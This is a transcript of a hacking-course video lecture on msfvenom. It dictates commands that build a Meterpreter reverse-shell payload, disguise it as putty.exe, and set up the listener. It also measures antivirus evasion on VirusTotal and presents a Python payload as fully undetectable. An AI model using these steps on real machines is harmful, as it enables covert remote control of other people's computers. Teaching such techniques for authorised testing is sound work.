Instructor: And here it is, the scan has finished.
Right now, we get the number of 38 out of 67.
So we successfully managed to bypass
five additional antivirus softwares
using the additional commands that we added
to our msfvenom payload.
However, let's try to make it even less than this,
just by using the msfvenom.
There is another option that we can do
which is -x.
And if we go to the help menu right here,
we can see that -x stands for template.
X allows us to use another program as its template.
In other words, this means
we can make our payload look similar
to that other program.
Now this sometimes knows not to work,
but let's give it a try
and see whether we manage
to bypass more antiviruses with this.
For this, we can use any program that we want.
I'm going to go with the program called PuTTY.
So I'm going to go right here and type putty.
You can use any other executable file that you want.
And under the download PuTTY,
I will click on that link.
It tells me you can download PuTTY here.
I will click on here,
and if I go all the way down,
I am searching for the executable file, so .exe.
And here it is, 64-bit putty.exe.
I will click on this,
and I will save it in my downloads folder.
Great.
I will click on okay.
And if I go right here, open the downloads folder,
here I will have the PuTTY executable.
And just in case you don't know,
on Windows, PuTTY executable looks like this.
So it has this icon and it is called putty.exe.
Remember how it looks.
Let me just delete it real quick,
and I will open Terminal in my downloads folder,
and run the command msfvenom -p.
I will use the 64-bit meterpreter/reverse_tcp.
LHOST will be 192.168.1.12.
LPORT will be equal to 5555.
And I will only add the -x option
and select the program of putty.exe.
Now if you're using some other executable,
here specify the name of the other executable.
Just make sure that you're located in the same directory
where that executable file is
in order to run this command.
After that I can specify that it is format of exe,
and output will be Putty.exe.
Press enter.
So the creation of the payload has finished,
and if I go and show you how the payload looks like
on the Windows machine.
Let me just find this.
And if I go and copy the Putty with the capital P
to my desktop,
here we can see it looks exactly the same
as the previous file that I showed you.
Just in case, this is our Meterpreter shell.
Let me show you real quick.
If I go and open msfconsole
and I set up the multi/handle listener.
So multi/handler.
Set payload to be
windows/x64/meterpreter/reverse_tcp.
Set LHOST to be 192.168.1.12.
And set LPORT to be 5555.
I type run here,
and then I run this putty.exe,
go back to my Kali Linux,
and we will have the Meterpreter session one opened.
Get user ID will tell me
that I am this Windows 10 machine.
Okay, great.
But this is out of the scope for this video.
Let us check out what detection rate
does this newly generated payload have.
So let's go right here.
Choose file, navigate to downloads,
because there is where our putty.exe is.
Select the payload and confirm upload.
And let's see if we generate the payload with the template.
Do we manage to bypass more antiviruses
than with the previous two payloads?
And it seems that we do.
In the previous one, we had 38 out of 67.
Right now, we have 29 out of 69.
So we managed to bypass additional eight antivirus vendors.
Great.
This looks better than the last two.
I'm going to control C this,
or just close this.
And of course, if you wanted to generate
a fully undetectable payload with msfvenom,
you can always change the file format.
But that comes with other problems.
Let me show you real quick.
So if I go right here under downloads
and let's say we wanted to generate a Windows payload,
but not as an EXE file,
but as a Python file.
We can run the command
msfvenom -p windows/x64/meterpreter/reverse_tcp.
LHOST equals 192.168.1.12.
LPORT equals 5555.
-: F is something that we want to change,
so it is no longer going to be EXE,
it is going to be a Python file.
And we output it with -o as a python_payload.py
Press enter,
and this will create the Windows Meterpreter payload
just as a Python file.
Here it is, it is done.
And if we go to VirusTotal,
upload the Python payload, right here,
confirm the upload,
and we can see no antivirus is able to detect it
as a malicious program.
It is FUD, or in other words,
it is fully undetectable payload.
However, how are you going to run it on the target machine?
Windows machines don't have Python installed by default
like Linux machines do.
So this payload would only be useful
if the target machine has Python installed.
Otherwise it is completely useless,
as it cannot run without Python.
Okay, great.
We covered msfvenom and some of its commands.
I advise you to experiment even more with the msfvenom,
and for example,
you can start creating other payloads if you want.
We only created Windows payloads,
but if you have a Linux machine or a macOS machine
that you want to attack,
you can generate payloads
for those operating systems as well.
To check out all the available payloads
that you can create,
you can type the command right here,
msfvenom--list and then payloads.
And here we can see a lot of different ones.
We can go up here, here are only Windows payloads,
but if we scroll all the way up,
here are Solaris payloads, ruby payloads,
and these are just some programming languages.
But here, if we scroll all the way up,
we get to the osx payloads.
So you can attack OS X operating systems.
If we go even more up, here are Linux operating systems
and Linux meterpreter_reverse_tcp payloads.
We also get the bind shell payloads.
We get up here the Linux payloads
for the 64-bit systems as well.
So you can attack any operating system that you want.
Great.
Now that we took a look at msfvenom,
and we covered some of its options,
let's also take a look at some other tools
that we can use for payload creation.
See you in the next video.